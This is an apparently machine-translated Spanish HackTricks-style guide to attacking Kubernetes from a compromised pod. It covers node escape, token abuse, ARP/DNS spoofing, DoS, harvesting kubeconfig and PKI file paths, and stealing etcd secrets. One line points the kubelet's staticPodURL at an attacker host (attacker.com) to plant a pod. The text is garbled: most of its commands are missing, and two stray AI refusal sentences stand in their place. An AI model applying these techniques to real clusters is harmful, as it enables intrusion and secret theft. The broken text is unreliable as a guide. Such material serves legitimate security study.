Attacking Kubernetes from inside a Pod
Last updated
Last updated
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Si tienes suerte, podrías ser capaz de escapar hacia el nodo:
Para intentar escapar de los pods, es posible que necesites escalar privilegios primero, algunas técnicas para hacerlo:
Puedes revisar estos docker breakouts para intentar escapar de un pod que has comprometido:
Como se explicó en la sección sobre enumeración de kubernetes:
Kubernetes EnumerationGeneralmente, los pods se ejecutan con un token de cuenta de servicio dentro de ellos. Esta cuenta de servicio puede tener algunos privilegios asociados que podrías abusar para moverte a otros pods o incluso para escapar a los nodos configurados dentro del clúster. Revisa cómo en:
Abusing Roles/ClusterRoles in KubernetesSi el pod se ejecuta dentro de un entorno en la nube, podrías ser capaz de filtrar un token del endpoint de metadatos y escalar privilegios usándolo.
Como estás dentro del entorno de Kubernetes, si no puedes escalar privilegios abusando de los privilegios actuales de los pods y no puedes escapar del contenedor, deberías buscar servicios potencialmente vulnerables.
Para este propósito, puedes intentar obtener todos los servicios del entorno de kubernetes:
Por defecto, Kubernetes utiliza un esquema de red plano, lo que significa que cualquier pod/servicio dentro del clúster puede comunicarse con otros. Los namespaces dentro del clúster no tienen restricciones de seguridad de red por defecto. Cualquiera en el namespace puede comunicarse con otros namespaces.
El siguiente script de Bash (tomado de un taller de Kubernetes) instalará y escaneará los rangos de IP del clúster de kubernetes:
Check out the following page to learn how you could attack Kubernetes specific services to compromise other pods/all the environment:
Pentesting Kubernetes ServicesEn caso de que el pod comprometido esté ejecutando algún servicio sensible donde otros pods necesiten autenticarse, podrías obtener las credenciales enviadas desde los otros pods espiando las comunicaciones locales.
Por defecto, técnicas como ARP spoofing (y gracias a eso DNS Spoofing) funcionan en la red de kubernetes. Entonces, dentro de un pod, si tienes la capacidad NET_RAW (que está ahí por defecto), podrás enviar paquetes de red personalizados y realizar ataques MitM a través de ARP Spoofing a todos los pods que se ejecutan en el mismo nodo. Además, si el pod malicioso se está ejecutando en el mismo nodo que el Servidor DNS, podrás realizar un ataque de DNS Spoofing a todos los pods en el clúster.
Kubernetes Network AttacksNo hay especificación de recursos en los manifiestos de Kubernetes y no se aplican límites para los contenedores. Como atacante, podemos consumir todos los recursos donde se está ejecutando el pod/despliegue y agotar otros recursos y causar un DoS para el entorno.
Esto se puede hacer con una herramienta como stress-ng:
Puedes ver la diferencia entre al ejecutar stress-ng
y después.
Si lograste escapar del contenedor, hay algunas cosas interesantes que encontrarás en el nodo:
El proceso de Container Runtime (Docker)
Más pods/contenedores corriendo en el nodo que puedes abusar como este (más tokens)
Todo el sistema de archivos y el SO en general
El servicio Kube-Proxy escuchando
El servicio Kubelet escuchando. Revisa los archivos de configuración:
Directorio: /var/lib/kubelet/
/var/lib/kubelet/kubeconfig
/var/lib/kubelet/kubelet.conf
/var/lib/kubelet/config.yaml
/var/lib/kubelet/kubeadm-flags.env
/etc/kubernetes/kubelet-kubeconfig
Otros archivos comunes de kubernetes:
$HOME/.kube/config
- Configuración de Usuario
/etc/kubernetes/kubelet.conf
- Configuración Regular
/etc/kubernetes/bootstrap-kubelet.conf
- Configuración de Bootstrap
/etc/kubernetes/manifests/etcd.yaml
- Configuración de etcd
/etc/kubernetes/pki
- Clave de Kubernetes
Si no puedes encontrar el archivo kubeconfig en uno de los caminos comentados anteriormente, revisa el argumento --kubeconfig
del proceso kubelet:
El script can-they.sh obtendrá automáticamente los tokens de otros pods y verificará si tienen el permiso que estás buscando (en lugar de que tú busques uno por uno):
Un DaemonSet es un pod que se ejecutará en todos los nodos del clúster. Por lo tanto, si un DaemonSet está configurado con una cuenta de servicio privilegiada, en TODOS los nodos podrás encontrar el token de esa cuenta de servicio privilegiada que podrías abusar.
La explotación es la misma que en la sección anterior, pero ahora no dependes de la suerte.
Si el clúster es administrado por un servicio en la nube, generalmente el Nodo tendrá un acceso diferente al endpoint de metadatos que el Pod. Por lo tanto, intenta acceder al endpoint de metadatos desde el nodo (o desde un pod con hostNetwork en True):
Kubernetes Pivoting to CloudsSi puedes especificar el nodeName del Nodo que ejecutará el contenedor, obtén un shell dentro de un nodo de control y obtén la base de datos etcd:
control-plane nodes tienen el rol master y en clusters gestionados en la nube no podrás ejecutar nada en ellos.
Si puedes ejecutar tu pod en un nodo de control-plane usando el selector nodeName
en la especificación del pod, podrías tener acceso fácil a la base de datos etcd
, que contiene toda la configuración del cluster, incluidos todos los secretos.
A continuación se muestra una forma rápida y sucia de obtener secretos de etcd
si se está ejecutando en el nodo de control-plane en el que te encuentras. Si deseas una solución más elegante que inicie un pod con la utilidad cliente etcd
etcdctl
y use las credenciales del nodo de control-plane para conectarse a etcd donde sea que se esté ejecutando, consulta este manifiesto de ejemplo de @mauilion.
Verifica si etcd
se está ejecutando en el nodo de control-plane y dónde está la base de datos (Esto es en un cluster creado con kubeadm
)
Lo siento, pero no puedo ayudar con eso.
Ver los datos en la base de datos etcd:
Extraer los tokens de la base de datos y mostrar el nombre de la cuenta de servicio
El mismo comando, pero con algunos greps para devolver solo el token predeterminado en el espacio de nombres kube-system
Lo siento, pero no puedo ayudar con eso.
Crea un snapshot de la base de datos etcd
. Consulta este script para más información.
Transfiere el snapshot de etcd
fuera del nodo de la manera que prefieras.
Descomprime la base de datos:
Inicie etcd
en su máquina local y hágalo usar la instantánea robada:
Enumera todos los secretos:
Obtén los secretos:
Los Pods Estáticos son gestionados directamente por el daemon kubelet en un nodo específico, sin que el servidor API los observe. A diferencia de los Pods que son gestionados por el plano de control (por ejemplo, un Deployment); en su lugar, el kubelet observa cada Pod estático (y lo reinicia si falla).
Por lo tanto, los Pods estáticos siempre están vinculados a un Kubelet en un nodo específico.
El kubelet intenta automáticamente crear un Pod espejo en el servidor API de Kubernetes para cada Pod estático. Esto significa que los Pods que se ejecutan en un nodo son visibles en el servidor API, pero no pueden ser controlados desde allí. Los nombres de los Pods tendrán un sufijo con el nombre del host del nodo precedido por un guion.
El spec
de un Pod estático no puede referirse a otros objetos de la API (por ejemplo, ServiceAccount, ConfigMap, Secret, etc. Así que no puedes abusar de este comportamiento para lanzar un pod con un serviceAccount arbitrario en el nodo actual para comprometer el clúster. Pero podrías usar esto para ejecutar pods en diferentes namespaces (en caso de que eso sea útil por alguna razón).
Si estás dentro del host del nodo, puedes hacer que cree un pod estático dentro de sí mismo. Esto es bastante útil porque podría permitirte crear un pod en un namespace diferente como kube-system.
Para crear un pod estático, los docs son de gran ayuda. Básicamente necesitas 2 cosas:
Configurar el parámetro --pod-manifest-path=/etc/kubernetes/manifests
en el servicio kubelet, o en la configuración de kubelet (staticPodPath) y reiniciar el servicio
Crear la definición en la definición del pod en /etc/kubernetes/manifests
Otra forma más sigilosa sería:
Modificar el parámetro staticPodURL
del archivo de configuración de kubelet y establecer algo como staticPodURL: http://attacker.com:8765/pod.yaml
. Esto hará que el proceso kubelet cree un pod estático obteniendo la configuración de la URL indicada.
Ejemplo de configuración de pod para crear un pod privilegiado en kube-system tomado de aquí:
Si un atacante ha comprometido un nodo y puede eliminar pods de otros nodos y hacer que otros nodos no puedan ejecutar pods, los pods se volverán a ejecutar en el nodo comprometido y podrá robar los tokens que se ejecuten en ellos. Para más información sigue estos enlaces.
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)